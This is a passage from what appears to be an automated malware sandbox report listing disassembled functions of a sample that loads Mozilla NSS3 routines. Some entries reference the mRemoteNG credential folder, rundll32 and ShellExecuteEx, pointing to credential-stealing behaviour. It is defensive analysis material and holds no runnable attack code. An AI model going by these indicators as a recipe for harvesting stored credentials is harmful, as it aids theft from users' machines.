Opcode ID: 6a1b6e47f482ee4f200ebd968e601a8bdb3106e7e8c25533cbe6d2efabcc28cd
Instruction ID: 2ecc3aad81c9b81e2b27e7e3d170e1f8428b359c85680f8586e03e13f1a28f2c
Opcode Fuzzy Hash: 6a1b6e47f482ee4f200ebd968e601a8bdb3106e7e8c25533cbe6d2efabcc28cd
Instruction Fuzzy Hash: 39314C70A58309DBDF509FA9D8846DDBBF1BB48314F10802BE001A6290EB7C49C5CFAD

Uniqueness

Uniqueness Score: -1.00%

Function 6CF65ED0 Relevance: 9.1, APIs: 6, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CF65D71), ref: 6CF65F0A
TlsGetValue.KERNEL32 ref: 6CF65F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6CF65F2F
PR_Unlock.NSS3(890008E8), ref: 6CF65F55
PR_SetError.NSS3(00000000,00000000), ref: 6CF65F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6CF65F7D

Part of subcall function 6CF65220: TlsGetValue.KERNEL32(00000000,890008E8,?,6CF65F82,8B4274C0), ref: 6CF65248
Part of subcall function 6CF65220: EnterCriticalSection.KERNEL32(0F6D030D,?,6CF65F82,8B4274C0), ref: 6CF6525C
Part of subcall function 6CF65220: PR_SetError.NSS3(00000000,00000000), ref: 6CF6528E
Part of subcall function 6CF65220: PR_Unlock.NSS3(0F6D02F1), ref: 6CF65299
Part of subcall function 6CF65220: free.MOZGLUE(00000000), ref: 6CF652A9

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID:
API String ID: 3150690610-0
Opcode ID: a05d668bdd56c01f0f41f2705b27379f6cf177bc9928a66a66524eb372752fa0
Instruction ID: bb1f480578c6d46ef7f9cfdbeb76511f3cbef683e7142e97d16b6afc95547509
Opcode Fuzzy Hash: a05d668bdd56c01f0f41f2705b27379f6cf177bc9928a66a66524eb372752fa0
Instruction Fuzzy Hash: C421E5B1D002049FDB009F65DC45BEFBBB4EF49318F544029E90AA7741EB31A954CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CFA3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6CFA5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CFA5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFA3D3F

Part of subcall function 6CF1BA90: PORT_NewArena_Util.NSS3(00000800,6CFA3CAF,?), ref: 6CF1BABF
Part of subcall function 6CF1BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6CFA3CAF,?), ref: 6CF1BAD5
Part of subcall function 6CF1BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6CFA3CAF,?), ref: 6CF1BB08
Part of subcall function 6CF1BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CFA3CAF,?), ref: 6CF1BB1A
Part of subcall function 6CF1BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6CFA3CAF,?), ref: 6CF1BB3B

PR_EnterMonitor.NSS3(?), ref: 6CFA3CCB

Part of subcall function 6CFD9090: TlsGetValue.KERNEL32 ref: 6CFD90AB
Part of subcall function 6CFD9090: TlsGetValue.KERNEL32 ref: 6CFD90C9
Part of subcall function 6CFD9090: EnterCriticalSection.KERNEL32 ref: 6CFD90E5
Part of subcall function 6CFD9090: TlsGetValue.KERNEL32 ref: 6CFD9116
Part of subcall function 6CFD9090: LeaveCriticalSection.KERNEL32 ref: 6CFD913F

PR_EnterMonitor.NSS3(?), ref: 6CFA3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CFA3CF8
PR_ExitMonitor.NSS3(?), ref: 6CFA3D15
PR_ExitMonitor.NSS3(?), ref: 6CFA3D2E

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: ad6d05f086c5fa9f7b7d2ff27a3f9f2a891db8a306f8b6367042fdf2902bab4a
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 3B1104B9A10604EFE7205AE5FC41B9BF3E4AB11349F554534E40A9BB20EA32F91EC652

Uniqueness

Uniqueness Score: -1.00%

Function 6CF6FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CF6FE08

Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF710F3
Part of subcall function 6CF710C0: EnterCriticalSection.KERNEL32(?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7110C
Part of subcall function 6CF710C0: PL_ArenaAllocate.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71141
Part of subcall function 6CF710C0: PR_Unlock.NSS3(?,?,?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF71182
Part of subcall function 6CF710C0: TlsGetValue.KERNEL32(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CF6FE1D

Part of subcall function 6CF710C0: PL_ArenaAllocate.NSS3(?,6CF18802,00000000,00000008,?,6CF0EF74,00000000), ref: 6CF7116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CF6FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CF6FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CF6FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6CF6FE6F

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: ba34b3093171d477422473cfd3f65a9522deae21bf61a0c2849ba5903f6bc746
Instruction ID: e9aca35392cb2b5bfa121d0d8abf79e2db879b0cb6082b3ba08260f7d91dbac9
Opcode Fuzzy Hash: ba34b3093171d477422473cfd3f65a9522deae21bf61a0c2849ba5903f6bc746
Instruction Fuzzy Hash: 151108B7600201ABEB108F5AEC40B9B7B98AF64299F148034ED1CC7F12E731D914C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6D01FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6D01FD9E

Part of subcall function 6CFD9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CF01A48), ref: 6CFD9BB3
Part of subcall function 6CFD9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CF01A48), ref: 6CFD9BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6D01FDB9

Part of subcall function 6CEFA900: TlsGetValue.KERNEL32(00000000,?,6D0714E4,?,6CE94DD9), ref: 6CEFA90F
Part of subcall function 6CEFA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6CEFA94F

PR_Unlock.NSS3 ref: 6D01FDD4
PR_Lock.NSS3 ref: 6D01FDF2
PR_NotifyAllCondVar.NSS3 ref: 6D01FE0D
PR_Unlock.NSS3 ref: 6D01FE23

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 9102557e30acd607654bf3d2233b10e26cf1a7882b8b7194dc8d8500e607d0ab
Instruction ID: 1e2fa1ef94d251c39222645c2dcc7fbf8d66b4f8c0df58ec9f30b348160674ec
Opcode Fuzzy Hash: 9102557e30acd607654bf3d2233b10e26cf1a7882b8b7194dc8d8500e607d0ab
Instruction Fuzzy Hash: 6101E1F6A182119BDF144F65FC109557A72BB032287154338E9245B7E5EB22EE28C7C2

Uniqueness

Uniqueness Score: -1.00%

Function 00415960 Relevance: 9.0, APIs: 4, Strings: 2, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(02DDACF0,?,?,?,0040F76C,?,02DDACF0,00000000), ref: 0041596C
lstrcpyn.KERNEL32(C:\Users\user\AppData\Roaming\mRemoteNG\,02DDACF0,02DDACF0,?,0040F76C,?,02DDACF0), ref: 00415990
lstrlen.KERNEL32(?,?,0040F76C,?,02DDACF0), ref: 004159A7
wsprintfA.USER32 ref: 004159C7

Strings

%s%s, xrefs: 004159B5
C:\Users\user\AppData\Roaming\mRemoteNG\, xrefs: 0041598B, 004159C0, 004159D0

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s$C:\Users\user\AppData\Roaming\mRemoteNG\
API String ID: 1206339513-1027354905
Opcode ID: 145a19e204c32b80f721800f8dc263c6d3553908343d9ba3445ddbc103129e49
Instruction ID: ad4ab28855ecf1822f83189248f4f970b5300654cb1d5d0a0ffaf2e78bbea45f
Opcode Fuzzy Hash: 145a19e204c32b80f721800f8dc263c6d3553908343d9ba3445ddbc103129e49
Instruction Fuzzy Hash: 69015A75510908FFCB14DFA8D948EAE7BB9FF88344F108588F90A9B340CA71AA40CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00410FA0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 251COMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,02DD8780,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

ShellExecuteEx.SHELL32(0000003C), ref: 00411307

Strings

<, xrefs: 004112AC
C:\Windows\system32\rundll32.dll, xrefs: 004110BF
"" , xrefs: 004111DC
.dll, xrefs: 00411054

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteFolderPathShellSystemTimelstrlen
String ID: "" $.dll$<$C:\Windows\system32\rundll32.dll
API String ID: 672783590-3078973353
Opcode ID: a330978247e34a4b1afa743d7b23df296f949de44f69bea51740c856e1ba8acf
Instruction ID: ff393b419b3d9cd89bf84e2a65158e8723a283ad60ef2a05342f0777a40cb69c
Opcode Fuzzy Hash: a330978247e34a4b1afa743d7b23df296f949de44f69bea51740c856e1ba8acf
Instruction Fuzzy Hash: 19A124759101089ACB15FB91DC92FDEB739AF14304F51425FE10666095EF38ABCACFA8

Uniqueness

Uniqueness Score: -1.00%

Function 6CF5FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6CF5FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CF5FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CF5FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6CF5FDDE

Part of subcall function 6CF68800: TlsGetValue.KERNEL32(?,6CF7085A,00000000,?,6CF18369,?), ref: 6CF68821
Part of subcall function 6CF68800: TlsGetValue.KERNEL32(?,?,6CF7085A,00000000,?,6CF18369,?), ref: 6CF6883D
Part of subcall function 6CF68800: EnterCriticalSection.KERNEL32(?,?,?,6CF7085A,00000000,?,6CF18369,?), ref: 6CF68856
Part of subcall function 6CF68800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CF68887
Part of subcall function 6CF68800: PR_Unlock.NSS3(?,?,?,?,6CF7085A,00000000,?,6CF18369,?), ref: 6CF68899

Strings

pkcs11:, xrefs: 6CF5FC4F

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 19c5d2531d877ac6efcbaaba58424bcd92cd1113e3e3924fa4e59fa58936a279
Instruction ID: 1a7805c47f536d0bf59e4a305e393c0b8150b16d5728fd6e9c44979402ee21e5
Opcode Fuzzy Hash: 19c5d2531d877ac6efcbaaba58424bcd92cd1113e3e3924fa4e59fa58936a279
Instruction Fuzzy Hash: A0510472B401219BEB808F65DC44F5B3375EF62358F9500A5DE04ABF42EB30E924CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CFB1D40 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000,?,?,?,?,?,?,?,?,?,?,-00000001,?,6CFB0DC8), ref: 6CFB1DC2
PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,-00000001), ref: 6CFB1E4B
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CFB1E5E
PK11_FreeSymKey.NSS3(000005DE), ref: 6CFB1E6A

Strings

derived, xrefs: 6CFB1DA3

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: ErrorFreeK11_
String ID: derived
API String ID: 4136325949-2109279238
Opcode ID: 8b70e92a4e3102e79e788c60b9f1c2af91a14041fa4c1715cf0972870935aff0
Instruction ID: 9cbcc859cffc7afdc0c127a1aaaa4673326ab0346402819ee2142d6f4f83ceb4
Opcode Fuzzy Hash: 8b70e92a4e3102e79e788c60b9f1c2af91a14041fa4c1715cf0972870935aff0
Instruction Fuzzy Hash: 5D31B2B2B00606ABFB20DA7ADC41BEB73A89B09308F504429F559F6741E731E914CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE9BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6CE9BE02

Part of subcall function 6CFC9C40: memcmp.VCRUNTIME140(?,00000000,6CE9C52B), ref: 6CFC9D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE9BE9F

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE9BE89
%s at line %d of [%.10s], xrefs: 6CE9BE98
database corruption, xrefs: 6CE9BE93

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 9bebf5438ed1d14c18ea398dbf0bbd30a855f11967d034900aa5bf43e8380e16
Instruction ID: ab005a1526bfba2c518d0f005575d656f795f3f2582df2c1ffb39eda4f38aa55
Opcode Fuzzy Hash: 9bebf5438ed1d14c18ea398dbf0bbd30a855f11967d034900aa5bf43e8380e16
Instruction Fuzzy Hash: 42314731E0425D9BC710CF2888D4BABBBBAAF42318B298554EE581B781D370EC05C7D0

Uniqueness

Uniqueness Score: -1.00%

Function 6CF00DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CF00BDE), ref: 6CF00DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CF00BDE), ref: 6CF00DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CF00BDE), ref: 6CF00DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CF00BDE), ref: 6CF00E32

Strings

%s incr => %d (find lib), xrefs: 6CF00E2D

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 9b0cc51cb79e4f884ae6ce62ea98aafa8d68f87f77a5c8b71c19ceb29fe88ca8
Instruction ID: 854c6599de9fdad81b023a0a72787b3275c37a893882b128150416f67b17678e
Opcode Fuzzy Hash: 9b0cc51cb79e4f884ae6ce62ea98aafa8d68f87f77a5c8b71c19ceb29fe88ca8
Instruction Fuzzy Hash: 280124727012209FE7209F248C59F6773BCDB45A08B05442DE909E3641E7A1FC1486E1

Uniqueness

Uniqueness Score: -1.00%

Function 6CEA9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CEA9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6CEA9D45
EnterCriticalSection.KERNEL32(?), ref: 6CEA9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CEA9DDE

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 386c8f775a25f665f95bf86ee61c9d858116ba9263356d01ce410654f28b8097
Instruction ID: ea9bfbbf0807575f1e2d032da30a84d3fa2915f0150fd57cc1ec86eb49dca092
Opcode Fuzzy Hash: 386c8f775a25f665f95bf86ee61c9d858116ba9263356d01ce410654f28b8097
Instruction Fuzzy Hash: 74A1C335504650DFEB089FA4D89977E3771BB4B318F28402DD5069FB50DB36A887CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6CF31E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CF31ECC

Part of subcall function 6CFD9090: TlsGetValue.KERNEL32 ref: 6CFD90AB
Part of subcall function 6CFD9090: TlsGetValue.KERNEL32 ref: 6CFD90C9
Part of subcall function 6CFD9090: EnterCriticalSection.KERNEL32 ref: 6CFD90E5
Part of subcall function 6CFD9090: TlsGetValue.KERNEL32 ref: 6CFD9116
Part of subcall function 6CFD9090: LeaveCriticalSection.KERNEL32 ref: 6CFD913F

TlsGetValue.KERNEL32 ref: 6CF31EDF
EnterCriticalSection.KERNEL32(?), ref: 6CF31EEF
PR_ExitMonitor.NSS3(?), ref: 6CF31F37
PR_Unlock.NSS3(?), ref: 6CF31F44

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: d7b243d53fe8f82308106480747e9bdc15e1988d630299dd65f56c139af8c9d9
Instruction ID: 0236d64564e6122e70730af07a2b32f059f23fc9b3a0f6138ad05c78e8020778
Opcode Fuzzy Hash: d7b243d53fe8f82308106480747e9bdc15e1988d630299dd65f56c139af8c9d9
Instruction Fuzzy Hash: 47718CB6904311AFD700CF24D840A5BBBF5BF89358F148929E89993B11E731F959CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 6CFBDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFBDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CFBDDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6CFBDE1B
ReleaseSemaphore.KERNEL32(?,?,00000000), ref: 6CFBDE77

Memory Dump Source

